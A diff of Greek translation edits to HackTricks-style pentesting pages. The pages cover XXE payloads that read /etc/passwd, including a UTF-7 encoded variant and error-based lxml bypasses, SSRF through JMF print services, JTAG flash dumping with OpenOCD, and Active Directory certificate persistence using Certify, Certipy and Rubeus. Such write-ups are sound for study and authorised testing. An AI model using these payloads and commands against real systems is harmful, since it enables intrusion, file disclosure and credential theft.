Μπορείτε να χρησιμοποιήσετε το \[**"Encode Recipe**" του cyberchef εδώ ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) για να μετατρέψετε σε UTF-7.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -422,7 +422,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
```
|
||||
### File:/ Protocol Bypass
|
||||
|
||||
Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers** `php://filter/convert.base64-encode/resource=` για να **πρόσβαση σε εσωτερικά αρχεία**.
|
||||
Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers**`php://filter/convert.base64-encode/resource=` για να **πρόσβαση σε εσωτερικά αρχεία**.
|
||||
|
||||
Αν ο ιστότοπος χρησιμοποιεί Java, μπορείτε να ελέγξετε το [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
|
||||
@ -534,7 +534,7 @@ Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο π
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Αυτή η τροποποίηση οδηγεί στην επιτυχή εξαγωγή του περιεχομένου του αρχείου, καθώς αντικατοπτρίζεται στην έξοδο σφάλματος που αποστέλλεται μέσω HTTP. Αυτό υποδηλώνει μια επιτυχημένη επίθεση XXE (XML External Entity), εκμεταλλευόμενη τόσο τις τεχνικές Out of Band όσο και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών.
|
||||
Αυτή η τροποποίηση οδηγεί στην επιτυχή εξαγωγή του περιεχομένου του αρχείου, καθώς αντικατοπτρίζεται στην έξοδο σφάλματος που αποστέλλεται μέσω HTTP. Αυτό υποδηλώνει μια επιτυχή επίθεση XXE (XML External Entity), εκμεταλλευόμενη τόσο τις τεχνικές Out of Band όσο και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
@ -687,7 +687,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
> Η βιβλιοθήκη Python **lxml** χρησιμοποιεί **libxml2** από κάτω. Οι εκδόσεις πριν από **lxml 5.4.0 / libxml2 2.13.8** επεκτείνουν ακόμα τις *παραμέτρους* οντότητες ακόμη και όταν `resolve_entities=False`, καθιστώντας τις προσβάσιμες όταν η εφαρμογή ενεργοποιεί `load_dtd=True` και/ή `resolve_entities=True`. Αυτό επιτρέπει τα Error-Based XXE payloads που ενσωματώνουν τα περιεχόμενα τοπικών αρχείων στο μήνυμα σφάλματος του αναλυτή.
|
||||
|
||||
#### 1. Εκμετάλλευση lxml < 5.4.0
|
||||
1. Εντοπίστε ή δημιουργήστε μια *τοπική* DTD στον δίσκο που ορίζει μια **μη καθορισμένη** παράμετρο οντότητας (π.χ. `%config_hex;`).
|
||||
1. Εντοπίστε ή δημιουργήστε μια *τοπική* DTD στο δίσκο που ορίζει μια **μη καθορισμένη** παράμετρο οντότητας (π.χ. `%config_hex;`).
|
||||
2. Δημιουργήστε μια εσωτερική DTD που:
|
||||
* Φορτώνει την τοπική DTD με `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Επανακαθορίζει την μη καθορισμένη οντότητα έτσι ώστε να:
|
||||
@ -712,10 +712,10 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
> Αν ο αναλυτής παραπονιέται για χαρακτήρες `%`/`&` μέσα στο εσωτερικό υποσύνολο, κωδικοποιήστε τους διπλά (`&#x25;` ⇒ `%`) για να καθυστερήσετε την επέκταση.
|
||||
|
||||
#### 2. Παράκαμψη της σκληροποίησης lxml 5.4.0 (libxml2 ακόμα ευάλωτο)
|
||||
`lxml` ≥ 5.4.0 απαγορεύει τις οντότητες παραμέτρων *error* όπως αυτή παραπάνω, αλλά **libxml2** εξακολουθεί να επιτρέπει την ενσωμάτωσή τους σε μια *γενική* οντότητα. Το κόλπο είναι να:
|
||||
`lxml` ≥ 5.4.0 απαγορεύει τις οντότητες παραμέτρων *error* όπως η παραπάνω, αλλά **libxml2** εξακολουθεί να επιτρέπει την ενσωμάτωσή τους σε μια *γενική* οντότητα. Το κόλπο είναι να:
|
||||
1. Διαβάσετε το αρχείο σε μια οντότητα παραμέτρου `%file`.
|
||||
2. Δηλώσετε μια άλλη οντότητα παραμέτρου που δημιουργεί μια **γενική** οντότητα `c` της οποίας ο αναγνωριστής SYSTEM χρησιμοποιεί ένα *μη υπάρχον πρωτόκολλο* όπως `meow://%file;`.
|
||||
3. Τοποθετήστε `&c;` στο σώμα XML. Όταν ο αναλυτής προσπαθεί να αποδεσμεύσει το `meow://…` αποτυγχάνει και αντικατοπτρίζει το πλήρες URI – συμπεριλαμβανομένων των περιεχομένων του αρχείου – στο μήνυμα σφάλματος.
|
||||
2. Δηλώσετε μια άλλη οντότητα παραμέτρου που δημιουργεί μια **γενική** οντότητα `c` της οποίας ο αναγνωριστής SYSTEM χρησιμοποιεί ένα *ανύπαρκτο πρωτόκολλο* όπως `meow://%file;`.
|
||||
3. Τοποθετήστε `&c;` στο σώμα XML. Όταν ο αναλυτής προσπαθεί να αποδεσμεύσει το `meow://…` αποτυγχάνει και ανακλά την πλήρη URI – συμπεριλαμβανομένων των περιεχομένων του αρχείου – στο μήνυμα σφάλματος.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % a '
|
||||
@ -765,11 +765,11 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Αν η εφαρμογή πρέπει να υποστηρίζει DTDs εσωτερικά, κρατήστε το `disallow-doctype-decl` απενεργοποιημένο αλλά **πάντα** αφήστε τις δύο δυνατότητες `external-*-entities` ρυθμισμένες σε `false`. Ο συνδυασμός αυτός αποτρέπει κλασικά payloads αποκάλυψης αρχείων (`file:///etc/passwd`) καθώς και δικτυακά SSRF vectors (`http://169.254.169.254/…`, `jar:` πρωτόκολλο, κ.λπ.).
|
||||
|
||||
Μελέτη περίπτωσης από τον πραγματικό κόσμο: **CVE-2025-27136** στον Java S3 emulator *LocalS3* χρησιμοποίησε τον ευάλωτο κατασκευαστή που εμφανίζεται παραπάνω. Ένας μη αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να προμηθεύσει ένα κατεργασμένο XML σώμα στο endpoint `CreateBucketConfiguration` και να έχει τον διακομιστή να ενσωματώνει τοπικά αρχεία (για παράδειγμα `/etc/passwd`) στην HTTP απόκριση.
|
||||
Μελέτη περίπτωσης από τον πραγματικό κόσμο: **CVE-2025-27136** στον Java S3 emulator *LocalS3* χρησιμοποίησε τον ευάλωτο κατασκευαστή που φαίνεται παραπάνω. Ένας μη αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να προμηθεύσει ένα κατεργασμένο XML σώμα στο endpoint `CreateBucketConfiguration` και να έχει τον διακομιστή να ενσωματώνει τοπικά αρχεία (για παράδειγμα `/etc/passwd`) στην HTTP απόκριση.
|
||||
|
||||
### XXE σε JMF/Υπηρεσίες Ορχήστρωσης Εκτύπωσης → SSRF
|
||||
|
||||
Ορισμένες πλατφόρμες ροής εργασίας/ορχήστρωσης εκτύπωσης εκθέτουν έναν δικτυακό ακροατή Job Messaging Format (JMF) που δέχεται XML μέσω TCP. Αν ο υποκείμενος αναλυτής δέχεται ένα `DOCTYPE` και επιλύει εξωτερικές οντότητες, μπορείτε να εκμεταλλευτείτε μια κλασική XXE για να αναγκάσετε τον διακομιστή να κάνει εξερχόμενα αιτήματα (SSRF) ή να αποκτήσει τοπικούς πόρους.
|
||||
Ορισμένες πλατφόρμες ροής εργασίας/ορχήστρωσης εκτύπωσης εκθέτουν έναν δικτυακό ακροατή Job Messaging Format (JMF) που δέχεται XML μέσω TCP. Αν ο υποκείμενος αναλυτής δέχεται ένα `DOCTYPE` και επιλύει εξωτερικές οντότητες, μπορείτε να εκμεταλλευτείτε μια κλασική XXE για να αναγκάσετε τον διακομιστή να κάνει εξερχόμενα αιτήματα (SSRF) ή να έχει πρόσβαση σε τοπικούς πόρους.
|
||||
|
||||
Κύρια σημεία που παρατηρήθηκαν στην πραγματικότητα:
|
||||
- Δικτυακός ακροατής (π.χ., πελάτης JMF) σε μια αφιερωμένη θύρα (συνήθως 4004 στο Xerox FreeFlow Core).
|
||||
@ -789,7 +789,7 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
Σημειώσεις:
|
||||
- Αντικαταστήστε το URL της οντότητας με τον συνεργάτη σας. Αν είναι δυνατή η SSRF, ο διακομιστής θα το επιλύσει κατά την ανάλυση του μηνύματος.
|
||||
- Σκληρύνσεις που πρέπει να αναζητήσετε: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
|
||||
- Ακόμα και όταν η θύρα JMF δεν εξυπηρετεί αρχεία, η SSRF μπορεί να αλυσοδεθεί για εσωτερική αναγνώριση ή για να φτάσει σε APIs διαχείρισης που είναι δεσμευμένα στο localhost.
|
||||
- Ακόμα και όταν η θύρα JMF δεν εξυπηρετεί αρχεία, η SSRF μπορεί να αλυσωθεί για εσωτερική αναγνώριση ή για να φτάσει σε APIs διαχείρισης που είναι δεσμευμένα στο localhost.
|
||||
|
||||
Οι αναφορές για αυτό το διανυσματικό είναι καταχωρημένες στο τέλος της σελίδας.
|
||||
|
||||
|
@ -8,9 +8,9 @@ README.md
|
||||
|
||||
## JTAGenum
|
||||
|
||||
[**JTAGenum**](https://github.com/cyphunk/JTAGenum) είναι ένα εργαλείο που μπορείτε να φορτώσετε σε ένα συμβατό MCU Arduino ή (πειραματικά) σε ένα Raspberry Pi για να κάνετε brute‑force άγνωστες συνδέσεις JTAG και ακόμη και να καταγράψετε καταχωρητές εντολών.
|
||||
[**JTAGenum**](https://github.com/cyphunk/JTAGenum) είναι ένα εργαλείο που μπορείτε να φορτώσετε σε ένα MCU συμβατό με Arduino ή (πειραματικά) σε ένα Raspberry Pi για να κάνετε brute‑force άγνωστες συνδέσεις JTAG και ακόμη και να καταγράψετε καταχωρητές εντολών.
|
||||
|
||||
- Arduino: συνδέστε τις ψηφιακές ακίδες D2–D11 σε έως 10 υποψήφιες ακίδες/testpoints JTAG, και το GND του Arduino στο GND του στόχου. Τροφοδοτήστε το στόχο ξεχωριστά εκτός αν γνωρίζετε ότι η γραμμή είναι ασφαλής. Προτιμήστε λογική 3.3 V (π.χ., Arduino Due) ή χρησιμοποιήστε έναν μετατροπέα επιπέδου/σειριακούς αντιστάτες όταν ελέγχετε στόχους 1.8–3.3 V.
|
||||
- Arduino: συνδέστε τις ψηφιακές ακίδες D2–D11 σε έως 10 υποψήφιες ακίδες/testpoints JTAG, και το GND του Arduino στο GND του στόχου. Τροφοδοτήστε τον στόχο ξεχωριστά εκτός αν γνωρίζετε ότι η γραμμή είναι ασφαλής. Προτιμήστε λογική 3.3 V (π.χ., Arduino Due) ή χρησιμοποιήστε έναν μετατροπέα επιπέδου/σειριακούς αντιστάτες όταν ελέγχετε στόχους 1.8–3.3 V.
|
||||
- Raspberry Pi: η κατασκευή του Pi εκθέτει λιγότερες χρησιμοποιήσιμες GPIOs (έτσι οι σαρώσεις είναι πιο αργές); ελέγξτε το repo για τον τρέχοντα χάρτη ακίδων και περιορισμούς.
|
||||
|
||||
Αφού αναβοσβήσετε, ανοίξτε τον σειριακό παρατηρητή στα 115200 baud και στείλτε `h` για βοήθεια. Τυπική ροή:
|
||||
@ -38,7 +38,7 @@ README.md
|
||||
## Ασφαλέστερη αναζήτηση ακίδων και ρύθμιση υλικού
|
||||
|
||||
- Εντοπίστε πρώτα το Vtref και το GND με ένα πολύμετρο. Πολλοί προσαρμογείς χρειάζονται το Vtref για να ρυθμίσουν την τάση I/O.
|
||||
- Μετατροπή επιπέδου: προτιμήστε διευθυντικούς μετατροπείς επιπέδου σχεδιασμένους για σήματα push‑pull (οι γραμμές JTAG δεν είναι open‑drain). Αποφύγετε τους αυτόματους μετατροπείς κατεύθυνσης I2C για JTAG.
|
||||
- Μετατόπιση επιπέδου: προτιμήστε διευθυνσιοδοτημένους μετατροπείς επιπέδου σχεδιασμένους για σήματα push‑pull (οι γραμμές JTAG δεν είναι open‑drain). Αποφύγετε τους αυτόματους μετατροπείς κατεύθυνσης I2C για JTAG.
|
||||
- Χρήσιμοι προσαρμογείς: FT2232H/FT232H boards (π.χ., Tigard), CMSIS‑DAP, J‑Link, ST‑LINK (ειδικοί προμηθευτές), ESP‑USB‑JTAG (σε ESP32‑Sx). Συνδέστε τουλάχιστον TCK, TMS, TDI, TDO, GND και Vtref; προαιρετικά TRST και SRST.
|
||||
|
||||
## Πρώτη επαφή με OpenOCD (σάρωση και IDCODE)
|
||||
@ -60,9 +60,7 @@ openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
|
||||
|
||||
## Σταμάτημα της CPU και εκφόρτωση μνήμης/flash
|
||||
|
||||
Αφού αναγνωριστεί το TAP και επιλεγεί ένα σενάριο στόχου, μπορείτε να σταματήσετε τον πυρήνα και να εκφορτώσετε περιοχές μνήμης ή εσωτερικό flash. Παραδείγματα (προσαρμόστε τον στόχο, τις βασικές διευθύνσεις και τα μεγέθη):
|
||||
|
||||
- Γενικός στόχος μετά την αρχικοποίηση:
|
||||
Αφού αναγνωριστεί το TAP και επιλεγεί ένα σενάριο στόχου, μπορείτε να σταματήσετε τον πυρήνα και να εκφορτώσετε περιοχές μνήμης ή εσωτερικό flash. Παραδείγματα (προσαρμόστε τον στόχο, τις βασικές διευθύνσεις και τα μεγέθη):
|
||||
```
|
||||
openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \
|
||||
-c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown"
|
||||
@ -79,12 +77,12 @@ openocd -f board/esp32s3-builtin.cfg \
|
||||
```
|
||||
Tips
|
||||
- Χρησιμοποιήστε `mdw/mdh/mdb` για να ελέγξετε τη μνήμη πριν από μεγάλες εκφορτώσεις.
|
||||
- Για αλυσίδες πολλαπλών συσκευών, ρυθμίστε το BYPASS σε μη στόχους ή χρησιμοποιήστε ένα αρχείο πλακέτας που ορίζει όλα τα TAPs.
|
||||
- Για αλυσίδες πολλών συσκευών, ρυθμίστε το BYPASS σε μη στόχους ή χρησιμοποιήστε ένα αρχείο πλακέτας που ορίζει όλα τα TAPs.
|
||||
|
||||
## Τεχνάσματα boundary-scan (EXTEST/SAMPLE)
|
||||
|
||||
Ακόμα και όταν η πρόσβαση αποσφαλμάτωσης της CPU είναι κλειδωμένη, το boundary-scan μπορεί να είναι ακόμα εκτεθειμένο. Με το UrJTAG/OpenOCD μπορείτε να:
|
||||
- SAMPLE για να αποθηκεύσετε τις καταστάσεις των ακίδων ενώ το σύστημα λειτουργεί (βρείτε δραστηριότητα λεωφόρου, επιβεβαιώστε την αντιστοίχιση ακίδων).
|
||||
- SAMPLE για να αποτυπώσετε τις καταστάσεις των ακίδων ενώ το σύστημα τρέχει (βρείτε δραστηριότητα λεωφόρου, επιβεβαιώστε την αντιστοίχιση ακίδων).
|
||||
- EXTEST για να οδηγήσετε ακίδες (π.χ., bit-bang εξωτερικές γραμμές SPI flash μέσω του MCU για να τις διαβάσετε εκτός σύνδεσης αν το καλωδίωμα της πλακέτας το επιτρέπει).
|
||||
|
||||
Ελάχιστη ροή UrJTAG με προσαρμογέα FT2232x:
|
||||
@ -103,14 +101,14 @@ jtag> dr <bit pattern for boundary register>
|
||||
|
||||
- ESP32‑S3/C3 περιλαμβάνουν μια εγγενή γέφυρα USB‑JTAG; Το OpenOCD μπορεί να επικοινωνεί απευθείας μέσω USB χωρίς εξωτερικό αισθητήρα. Πολύ βολικό για τριχοτόμηση και dumps.
|
||||
- Η αποσφαλμάτωση RISC‑V (v0.13+) υποστηρίζεται ευρέως από το OpenOCD; προτιμήστε το SBA για πρόσβαση στη μνήμη όταν ο πυρήνας δεν μπορεί να σταματήσει με ασφάλεια.
|
||||
- Πολλοί MCU υλοποιούν αυθεντικοποίηση αποσφαλμάτωσης και καταστάσεις κύκλου ζωής. Εάν το JTAG φαίνεται νεκρό αλλά η τροφοδοσία είναι σωστή, η συσκευή μπορεί να έχει συγκολληθεί σε κλειστή κατάσταση ή να απαιτεί έναν αυθεντικοποιημένο αισθητήρα.
|
||||
- Πολλοί MCUs υλοποιούν αυθεντικοποίηση αποσφαλμάτωσης και καταστάσεις κύκλου ζωής. Εάν το JTAG φαίνεται νεκρό αλλά η τροφοδοσία είναι σωστή, η συσκευή μπορεί να είναι συγκολλημένη σε κλειστή κατάσταση ή να απαιτεί έναν αυθεντικοποιημένο αισθητήρα.
|
||||
|
||||
## Άμυνες και σκληραγώγηση (τι να περιμένετε σε πραγματικές συσκευές)
|
||||
|
||||
- Μόνιμα απενεργοποιήστε ή κλειδώστε το JTAG/SWD στην παραγωγή (π.χ., STM32 RDP επίπεδο 2, ESP eFuses που απενεργοποιούν το PAD JTAG, NXP/Nordic APPROTECT/DPAP).
|
||||
- Απαιτήστε αυθεντικοποιημένη αποσφαλμάτωση (ARMv8.2‑A ADIv6 Debug Authentication, OEM-διαχειριζόμενη πρόκληση-απάντηση) διατηρώντας την πρόσβαση στην παραγωγή.
|
||||
- Μην διαδρομείτε εύκολες δοκιμαστικές επιφάνειες; θάψτε τις δοκιμαστικές vias, αφαιρέστε/καλύψτε αντιστάτες για να απομονώσετε το TAP, χρησιμοποιήστε συνδέσμους με κλειδώματα ή fixtures pogo-pin.
|
||||
- Κλείδωμα αποσφαλμάτωσης κατά την τροφοδοσία: κλείστε το TAP πίσω από πρώιμο ROM που επιβάλλει ασφαλή εκκίνηση.
|
||||
- Απαιτήστε αυθεντικοποιημένη αποσφαλμάτωση (ARMv8.2‑A ADIv6 Debug Authentication, OEM‑managed challenge‑response) διατηρώντας την πρόσβαση στην παραγωγή.
|
||||
- Μην διαδρομείτε εύκολες δοκιμαστικές επιφάνειες; θάψτε τις δοκιμαστικές vias, αφαιρέστε/καλύψτε αντιστάσεις για να απομονώσετε το TAP, χρησιμοποιήστε συνδέσμους με κλειδώματα ή fixtures pogo‑pin.
|
||||
- Κλείδωμα αποσφαλμάτωσης κατά την ενεργοποίηση: κλείστε το TAP πίσω από πρώιμο ROM που επιβάλλει ασφαλή εκκίνηση.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -1,58 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Σε μια απάντηση ping TTL:\
|
||||
127 = Windows\
|
||||
254 = Cisco\
|
||||
Το υπόλοιπο, κάποιο linux
|
||||
|
||||
$1$- md5\
|
||||
$2$ή $2a$ - Blowfish\
|
||||
$5$- sha256\
|
||||
$6$- sha512
|
||||
|
||||
Αν δεν ξέρετε τι υπάρχει πίσω από μια υπηρεσία, προσπαθήστε να κάνετε ένα HTTP GET αίτημα.
|
||||
|
||||
**Σαρώσεις UDP**\
|
||||
nc -nv -u -z -w 1 \<IP> 160-16
|
||||
|
||||
Ένα κενό πακέτο UDP αποστέλλεται σε μια συγκεκριμένη θύρα. Αν η θύρα UDP είναι ανοιχτή, δεν αποστέλλεται καμία απάντηση από τη στοχοθετημένη μηχανή. Αν η θύρα UDP είναι κλειστή, θα πρέπει να αποσταλεί ένα πακέτο ICMP port unreachable από τη στοχοθετημένη μηχανή.\
|
||||
|
||||
Η σάρωση θυρών UDP είναι συχνά αναξιόπιστη, καθώς οι τείχοι προστασίας και οι δρομολογητές μπορεί να απορρίψουν τα πακέτα ICMP.\
|
||||
Αυτό μπορεί να οδηγήσει σε ψευδώς θετικά αποτελέσματα στη σάρωσή σας, και θα βλέπετε τακτικά\
|
||||
σαρώσεις UDP να δείχνουν όλες τις θύρες UDP ανοιχτές σε μια σαρωμένη μηχανή.\
|
||||
Οι περισσότερες σαρωτές θυρών δεν σαρώνονται όλες οι διαθέσιμες θύρες, και συνήθως έχουν μια προεπιλεγμένη λίστα\
|
||||
"ενδιαφερόντων θυρών" που σαρώνονται.
|
||||
|
||||
# CTF - Τέχνες
|
||||
|
||||
Στο **Windows** χρησιμοποιήστε το **Winzip** για να αναζητήσετε αρχεία.\
|
||||
**Εναλλακτικά ρεύματα δεδομένων**: _dir /r | find ":$DATA"_\
|
||||
```
|
||||
binwalk --dd=".*" <file> #Extract everything
|
||||
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
|
||||
```
|
||||
## Κρυπτογραφία
|
||||
|
||||
**featherduster**\
|
||||
|
||||
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
|
||||
**Base32**(5 —>8) —> A…Z, 2…7\
|
||||
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
|
||||
**Uuencode** --> Ξεκινά με "_begin \<mode> \<filename>_" και περίεργους χαρακτήρες\
|
||||
**Xxencoding** --> Ξεκινά με "_begin \<mode> \<filename>_" και B64\
|
||||
\
|
||||
**Vigenere** (ανάλυση συχνότητας) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
|
||||
**Scytale** (μετατόπιση χαρακτήρων) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
|
||||
|
||||
**25x25 = QR**
|
||||
|
||||
factordb.com\
|
||||
rsatool
|
||||
|
||||
Snow --> Κρύψε μηνύματα χρησιμοποιώντας κενά και tabs
|
||||
|
||||
# Χαρακτήρες
|
||||
|
||||
%E2%80%AE => RTL Χαρακτήρας (γράφει payloads ανάποδα)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Αυτή είναι μια μικρή περίληψη των κεφαλαίων για την επιμονή λογαριασμού από την καταπληκτική έρευνα του [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
|
||||
**Αυτή είναι μια μικρή περίληψη των κεφαλαίων σχετικά με την επιμονή λογαριασμού από την καταπληκτική έρευνα του [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
|
||||
|
||||
## Κατανόηση της Κλοπής Διαπιστευτηρίων Ενεργού Χρήστη με Πιστοποιητικά – PERSIST1
|
||||
|
||||
Σε ένα σενάριο όπου ένα πιστοποιητικό που επιτρέπει την αυθεντικοποίηση τομέα μπορεί να ζητηθεί από έναν χρήστη, ένας επιτιθέμενος έχει την ευκαιρία να ζητήσει και να κλέψει αυτό το πιστοποιητικό για να διατηρήσει την επιμονή σε ένα δίκτυο. Από προεπιλογή, το πρότυπο `User` στο Active Directory επιτρέπει τέτοιες αιτήσεις, αν και μπορεί μερικές φορές να είναι απενεργοποιημένο.
|
||||
|
||||
Χρησιμοποιώντας το [Certify](https://github.com/GhostPack/Certify) ή το [Certipy](https://github.com/ly4k/Certipy), μπορείτε να αναζητήσετε ενεργά πρότυπα που επιτρέπουν την αυθεντικοποίηση πελάτη και στη συνέχεια να ζητήσετε ένα:
|
||||
Χρησιμοποιώντας [Certify](https://github.com/GhostPack/Certify) ή [Certipy](https://github.com/ly4k/Certipy), μπορείτε να αναζητήσετε ενεργά πρότυπα που επιτρέπουν την αυθεντικοποίηση πελάτη και στη συνέχεια να ζητήσετε ένα:
|
||||
```bash
|
||||
# Enumerate client-auth capable templates
|
||||
Certify.exe find /clientauth
|
||||
@ -32,7 +32,7 @@ Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /
|
||||
# Or with Certipy
|
||||
certipy auth -pfx user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
> Σημείωση: Συνδυασμένο με άλλες τεχνικές (βλ. ενότητες ΚΛΟΠΗΣ), η αυθεντικοποίηση με βάση πιστοποιητικά επιτρέπει μόνιμη πρόσβαση χωρίς να αγγίξει το LSASS και ακόμη και από μη ανυψωμένα περιβάλλοντα.
|
||||
> Σημείωση: Συνδυασμένο με άλλες τεχνικές (βλ. ενότητες ΚΛΟΠΗΣ), η πιστοποίηση βάσει πιστοποιητικών επιτρέπει μόνιμη πρόσβαση χωρίς να αγγίξει το LSASS και ακόμη και από μη ανυψωμένα περιβάλλοντα.
|
||||
|
||||
## Απόκτηση Μηχανικής Μόνιμης Πρόσβασης με Πιστοποιητικά - PERSIST2
|
||||
|
||||
@ -57,13 +57,13 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
|
||||
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
|
||||
```
|
||||
> Επιχειρησιακή συμβουλή: Παρακολουθήστε τις διάρκειες των PFX αρχείων που κατέχει ο επιτιθέμενος και ανανεώστε νωρίς. Η ανανέωση μπορεί επίσης να προκαλέσει την ενημέρωση των πιστοποιητικών ώστε να περιλαμβάνουν την σύγχρονη επέκταση χαρτογράφησης SID, διατηρώντας τα λειτουργικά υπό αυστηρότερους κανόνες χαρτογράφησης DC (βλ. επόμενη ενότητα).
|
||||
> Operational tip: Παρακολουθήστε τις διάρκειες των PFX αρχείων που κατέχει ο επιτιθέμενος και ανανεώστε νωρίς. Η ανανέωση μπορεί επίσης να προκαλέσει την ενημέρωση των πιστοποιητικών ώστε να περιλαμβάνουν την σύγχρονη επέκταση χαρτογράφησης SID, διατηρώντας τα χρήσιμα υπό αυστηρότερους κανόνες χαρτογράφησης DC (βλ. επόμενη ενότητα).
|
||||
|
||||
## Φύτευση Ρητών Χαρτογραφήσεων Πιστοποιητικών (altSecurityIdentities) – PERSIST4
|
||||
|
||||
Εάν μπορείτε να γράψετε στο χαρακτηριστικό `altSecurityIdentities` ενός στόχου λογαριασμού, μπορείτε να χαρτογραφήσετε ρητά ένα πιστοποιητικό που ελέγχεται από τον επιτιθέμενο σε αυτόν τον λογαριασμό. Αυτό παραμένει ενεργό κατά τις αλλαγές κωδικών πρόσβασης και, όταν χρησιμοποιούνται ισχυρές μορφές χαρτογράφησης, παραμένει λειτουργικό υπό την σύγχρονη επιβολή DC.
|
||||
|
||||
Γενική ροή:
|
||||
Υψηλού επιπέδου ροή:
|
||||
|
||||
1. Αποκτήστε ή εκδώστε ένα πιστοποιητικό αυθεντικοποίησης πελάτη που ελέγχετε (π.χ., εγγραφείτε στο πρότυπο `User` ως εσείς).
|
||||
2. Εξαγάγετε έναν ισχυρό αναγνωριστικό από το πιστοποιητικό (Issuer+Serial, SKI ή SHA1-PublicKey).
|
||||
@ -96,7 +96,7 @@ domain-escalation.md
|
||||
|
||||
## Enrollment Agent ως Επιμονή – PERSIST5
|
||||
|
||||
Εάν αποκτήσετε ένα έγκυρο πιστοποιητικό Certificate Request Agent/Enrollment Agent, μπορείτε να δημιουργήσετε νέες πιστοποιήσεις ικανές για σύνδεση εκ μέρους των χρηστών κατά βούληση και να διατηρήσετε το PFX του πράκτορα εκτός σύνδεσης ως ένα διακριτικό επιμονής. Κατάχρηση ροής εργασίας:
|
||||
Εάν αποκτήσετε ένα έγκυρο πιστοποιητικό Certificate Request Agent/Enrollment Agent, μπορείτε να δημιουργήσετε νέα πιστοποιητικά ικανότητας σύνδεσης εκ μέρους των χρηστών κατά βούληση και να κρατήσετε το PFX του πράκτορα εκτός σύνδεσης ως σύμβολο επιμονής. Ροή κακοποίησης:
|
||||
```bash
|
||||
# Request an Enrollment Agent cert (requires template rights)
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
|
||||
